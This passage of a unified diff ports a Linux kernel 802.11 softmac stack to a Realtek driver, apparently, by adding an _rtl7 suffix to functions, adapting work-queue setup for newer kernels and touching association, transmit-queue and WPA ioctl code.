ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); 